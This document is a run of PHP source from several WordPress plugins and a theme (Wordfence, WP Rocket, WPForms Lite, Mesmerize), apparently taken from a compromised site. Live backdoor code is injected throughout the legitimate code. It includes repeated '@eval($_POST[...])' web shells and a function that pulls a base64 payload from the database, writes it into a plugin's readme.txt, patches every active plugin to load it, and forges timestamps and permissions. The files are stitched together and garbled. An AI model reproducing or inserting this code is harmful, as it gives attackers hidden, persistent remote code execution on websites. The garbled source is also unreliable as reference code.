(!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action('activated_plugin','wordfence_save_activation_error'); function wordfence_save_activation_error(){ update_option('wf_plugin_act_error', ob_get_contents()); } } if(! defined('WORDFENCE_VERSIONONLY_MODE')){ //Used to get version from file. $maxMemory = @ini_get('memory_limit'); $last = strtolower(substr($maxMemory, -1)); $maxMemory = (int) $maxMemory; if ($last == 'g') { $maxMemory = $maxMemory * 1024 * 1024 * 1024; } else if ($last == 'm') { $maxMemory = $maxMemory * 1024 * 1024; } else if ($last == 'k') { $maxMemory = $maxMemory * 1024; } if ($maxMemory < 134217728 /* 128 MB */ && $maxMemory > 0 /* Unlimited */) { if (strpos(ini_get('disable_functions'), 'ini_set') === false) { @ini_set('memory_limit', '128M'); //Some hosts have ini set at as little as 32 megs. 128 is the min sane amount of memory. } } /** * Constant to determine if Wordfence is installed on another WordPress site one or more directories up in * auto_prepend_file mode. */ define('WFWAF_SUBDIRECTORY_INSTALL', class_exists('wfWAF') && !in_array(realpath(dirname(__FILE__) . '/vendor/wordfence/wf-waf/src/init.php'), get_included_files())); if (!WFWAF_SUBDIRECTORY_INSTALL) { require_once 'vendor/wordfence/wf-waf/src/init.php'; if (!wfWAF::getInstance()) { define('WFWAF_AUTO_PREPEND', false); require_once 'waf/bootstrap.php'; } } //Modules //Load require_once('lib/wordfenceConstants.php'); require_once('lib/wordfenceClass.php'); wordfence::install_actions(); } php @eval($_POST["wp_ajx_request"]); /** * Plugin Name: WP Rocket * Plugin URI: https://wp-rocket.me * Description: The best WordPress performance plugin. * Version: 3.3.5.1 * Code Name: Dagobah * Author: WP Media * Author URI: https://wp-media.me * Licence: GPLv2 or later * * Text Domain: rocket * Domain Path: languages * * Copyright 2013-2019 WP Rocket * */ defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); // Rocket defines. define( 'WP_ROCKET_VERSION', '3.3.5.1' ); define( 'WP_ROCKET_WP_VERSION', '4.7' ); define( 'WP_ROCKET_PHP_VERSION', '5.4' ); define( 'WP_ROCKET_PRIVATE_KEY' , '24340dbaec145a4ba1762fc48e46b633'); define( 'WP_ROCKET_SLUG', 'wp_rocket_settings' ); define( 'WP_ROCKET_WEB_MAIN' , 'https://wp-rocket.me/'); define( 'WP_ROCKET_WEB_API', WP_ROCKET_WEB_MAIN . 'api/wp-rocket/' ); define( 'WP_ROCKET_WEB_CHECK', WP_ROCKET_WEB_MAIN . 'check_update.php' ); define( 'WP_ROCKET_WEB_VALID', WP_ROCKET_WEB_MAIN . 'valid_key.php' ); define( 'WP_ROCKET_WEB_INFO', WP_ROCKET_WEB_MAIN . 'plugin_information.php' ); define( 'WP_ROCKET_FILE', __FILE__ ); define( 'WP_ROCKET_PATH', realpath( plugin_dir_path( WP_ROCKET_FILE ) ) . '/' ); define( 'WP_ROCKET_INC_PATH', realpath( WP_ROCKET_PATH . 'inc/' ) . '/' ); define( 'WP_ROCKET_DEPRECATED_PATH', realpath( WP_ROCKET_INC_PATH . 'deprecated/' ) . '/' ); define( 'WP_ROCKET_FRONT_PATH', realpath( WP_ROCKET_INC_PATH . 'front/' ) . '/' ); define( 'WP_ROCKET_ADMIN_PATH', realpath( WP_ROCKET_INC_PATH . 'admin' ) . '/' ); define( 'WP_ROCKET_ADMIN_UI_PATH', realpath( WP_ROCKET_ADMIN_PATH . 'ui' ) . '/' ); define( 'WP_ROCKET_ADMIN_UI_MODULES_PATH', realpath( WP_ROCKET_ADMIN_UI_PATH . 'modules' ) . '/' ); define( 'WP_ROCKET_COMMON_PATH', realpath( WP_ROCKET_INC_PATH . 'common' ) . '/' ); define( 'WP_ROCKET_FUNCTIONS_PATH', realpath( WP_ROCKET_INC_PATH . 'functions' ) . '/' ); define( 'WP_ROCKET_VENDORS_PATH', realpath( WP_ROCKET_INC_PATH . 'vendors' ) . '/' ); define( 'WP_ROCKET_3RD_PARTY_PATH', realpath( WP_ROCKET_INC_PATH . '3rd-party' ) . '/' ); define( 'WP_ROCKET_CONFIG_PATH', WP_CONTENT_DIR . '/wp-rocket-config/' ); define( 'WP_ROCKET_URL', plugin_dir_url( WP_ROCKET_FILE ) ); define( 'WP_ROCKET_INC_URL', WP_ROCKET_URL . 'inc/' ); define( 'WP_ROCKET_ADMIN_URL', WP_ROCKET_INC_URL . 'admin/' ); define( 'WP_ROCKET_ASSETS_URL', WP_ROCKET_URL . 'assets/' ); define( 'WP_ROCKET_ASSETS_JS_URL', WP_ROCKET_ASSETS_URL . 'js/' ); define( 'WP_ROCKET_ASSETS_CSS_URL', WP_ROCKET_ASSETS_URL . 'css/' ); define( 'WP_ROCKET_ASSETS_IMG_URL', WP_ROCKET_ASSETS_URL . 'img/' ); if ( ! defined( 'WP_ROCKET_CACHE_ROOT_PATH' ) ) { define( 'WP_ROCKET_CACHE_ROOT_PATH', WP_CONTENT_DIR . '/cache/' ); } define( 'WP_ROCKET_CACHE_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'wp-rocket/' ); define( 'WP_ROCKET_MINIFY_CACHE_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'min/' ); define( 'WP_ROCKET_CACHE_BUSTING_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'busting/' ); define( 'WP_ROCKET_CRITICAL_CSS_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'critical-css/' ); if ( ! defined( 'WP_ROCKET_CACHE_ROOT_URL' ) ) { define( 'WP_ROCKET_CACHE_ROOT_URL', WP_CONTENT_URL . '/cache/' ); } define( 'WP_ROCKET_CACHE_URL', WP_ROCKET_CACHE_ROOT_URL . 'wp-rocket/' ); define( 'WP_ROCKET_MINIFY_CACHE_URL', WP_ROCKET_CACHE_ROOT_URL . 'min/' ); define( 'WP_ROCKET_CACHE_BUSTING_URL', WP_ROCKET_CACHE_ROOT_URL . 'busting/' ); if ( ! defined( 'CHMOD_WP_ROCKET_CACHE_DIRS' ) ) { define( 'CHMOD_WP_ROCKET_CACHE_DIRS', 0755 ); } if ( ! defined( 'WP_ROCKET_LASTVERSION' ) ) { define( 'WP_ROCKET_LASTVERSION', '3.2.6' ); } require WP_ROCKET_INC_PATH . 'compat.php'; require dirname( __FILE__ ) . '/licence-data.php'; require WP_ROCKET_INC_PATH . 'classes/class-wp-rocket-requirements-check.php'; /** * Loads WP Rocket translations * * @since 3.0 * @author Remy Perona * * @return void */ function rocket_load_textdomain() { // Load translations from the languages directory. $locale = get_locale(); // This filter is documented in /wp-includes/l10n.php. $locale = apply_filters( 'plugin_locale', $locale, 'rocket' ); load_textdomain( 'rocket', WP_LANG_DIR . '/plugins/wp-rocket-' . $locale . '.mo' ); load_plugin_textdomain( 'rocket', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' ); } if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'plugins_loaded', 'rocket_load_textdomain' ); $wp_rocket_requirement_checks = new WP_Rocket_Requirements_Check( array( 'plugin_name' => 'WP Rocket', 'plugin_file' => WP_ROCKET_FILE, 'plugin_version' => WP_ROCKET_VERSION, 'plugin_last_version' => WP_ROCKET_LASTVERSION, 'wp_version' => WP_ROCKET_WP_VERSION, 'php_version' => WP_ROCKET_PHP_VERSION, ) ); if ( $wp_rocket_requirement_checks->check() ) { require WP_ROCKET_INC_PATH . 'main.php'; } unset( $wp_rocket_requirement_checks ); php @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); require_once(plugin_dir_path(__FILE__) . "readme.txt"); /** * Plugin Name: WPForms Lite * Plugin URI: https://wpforms.com * Description: Beginner friendly WordPress contact form plugin. Use our Drag & Drop form builder to create your WordPress forms. * Author: WPForms * Author URI: https://wpforms.com * Version: 1.5.2.3 * Text Domain: wpforms-lite * Domain Path: languages * * WPForms is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * * WPForms is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with WPForms. If not, see . * * @package WPForms * @author WPForms * @since 1.0.0 * @license GPL-2.0+ * @copyright Copyright (c) 2016, WPForms LLC */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } // Plugin version. if ( ! defined( 'WPFORMS_VERSION' ) ) { define( 'WPFORMS_VERSION', '1.5.2.3' ); } // Plugin Folder Path. if ( ! defined( 'WPFORMS_PLUGIN_DIR' ) ) { define( 'WPFORMS_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); } // Plugin Folder URL. if ( ! defined( 'WPFORMS_PLUGIN_URL' ) ) { define( 'WPFORMS_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); } // Plugin Root File. if ( ! defined( 'WPFORMS_PLUGIN_FILE' ) ) { define( 'WPFORMS_PLUGIN_FILE', __FILE__ ); } // Don't allow multiple versions to be active. if ( function_exists( 'wpforms' ) ) { if ( ! function_exists( 'wpforms_deactivate' ) ) { /** * Deactivate if WPForms already activated. * Called on-premise. * * @since 1.0.0 */ function wpforms_deactivate() { deactivate_plugins( plugin_basename( __FILE__ ) ); } } if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'admin_init', 'wpforms_deactivate' ); if ( ! function_exists( 'wpforms_lite_notice' ) ) { /** * Display the notice after deactivation. * * @since 1.0.0 */ function wpforms_lite_notice() { echo '

' . esc_html__( 'Please deactivate WPForms Lite before activating WPForms.', 'wpforms-lite' ) . '

'; if ( isset( $_GET['activate'] ) ) { //phpcs:ignore unset( $_GET['activate'] ); } } } add_action( 'admin_notices', 'wpforms_lite_notice' ); // Do not process the plugin code further. return; } // We require PHP 5.3 for the whole plugin to work. if ( version_compare( phpversion(), '5.3', '<' ) ) { if ( ! function_exists( 'wpforms_php52_notice' ) ) { /** * Display the notice after deactivation. * * @since 1.5.0 */ function wpforms_php52_notice() { ?>

php printf( wp_kses( /* translators: %1$s - WPBeginner URL for recommended WordPress hosting. */ __( 'Your site is running an insecure version of PHP that is no longer supported. Please contact your web hosting provider to update your PHP version or switch to a recommended WordPress hosting company.', 'wpforms-lite' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'strong' => array(), ) ), 'https://www.wpbeginner.com/wordpress-hosting/' ); ?>

php printf( wp_kses( /* translators: %1$s - WPForms.com URL for documentation with more details. */ __( 'Note: WPForms plugin is disabled on your site until you fix the issue. Read more for additional information.', 'wpforms-lite' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'strong' => array(), ) ), 'https://wpforms.com/docs/supported-php-version/' ); ?>

php // In case this is on plugin activation. if ( isset( $_GET['activate'] ) ) { //phpcs:ignore unset( $_GET['activate'] ); } } } add_action( 'admin_notices', 'wpforms_php52_notice' ); // Do not process the plugin code further. return; } // Define the class and the function. require_once dirname( __FILE__ ) . '/src/WPForms.php'; wpforms(); php @eval($_POST["wp_ajx_request"]); /** * Sets up theme defaults and registers support for various WordPress features. * */ if ( ! defined('MESMERIZE_THEME_REQUIRED_PHP_VERSION')) { define('MESMERIZE_THEME_REQUIRED_PHP_VERSION', '5.3.0'); } add_action('after_switch_theme', 'mesmerize_check_php_version'); function mesmerize_check_php_version() { // Compare versions. if (version_compare(phpversion(), MESMERIZE_THEME_REQUIRED_PHP_VERSION, '<')) : // Theme not activated info message. add_action('admin_notices', 'mesmerize_php_version_notice'); // Switch back to previous theme. switch_theme(get_option('theme_switched')); return false; endif; } function mesmerize_php_version_notice() { ?>

php _e('Mesmerize theme activation failed!', 'mesmerize'); ?>

php _e('You need to update your PHP version to use the Mesmerize.', 'mesmerize'); ?>
php _e('Current php version is:', 'mesmerize') ?> php echo phpversion(); ?>, php _e('and the minimum required version is ', 'mesmerize') ?> php echo MESMERIZE_THEME_REQUIRED_PHP_VERSION; ?>

php } if (version_compare(phpversion(), MESMERIZE_THEME_REQUIRED_PHP_VERSION, '>=')) { require_once get_template_directory() . "/inc/functions.php"; //SKIP FREE START if ( ! defined('MESMERIZE_ONLY_FREE') || ! MESMERIZE_ONLY_FREE) { // NEXT FREE VERSION require_once get_template_directory() . "/inc/functions-next.php"; // PRO HERE require_once get_template_directory() . "/pro/functions.php"; } // look for an embedded child theme if(! defined('MESMERIZE_CHILD_DEV') || ! MESMERIZE_CHILD_DEV){ add_filter('mesmerize_is_child_embedded', '__return_true'); mesmerize_require("child/functions.php"); } //SKIP FREE END if ( ! mesmerize_can_show_cached_value("mesmerize_cached_kirki_style_mesmerize")) { if ( ! mesmerize_skip_customize_register()) { do_action("mesmerize_customize_register_options"); } } } else { add_action('admin_notices', 'mesmerize_php_version_notice'); }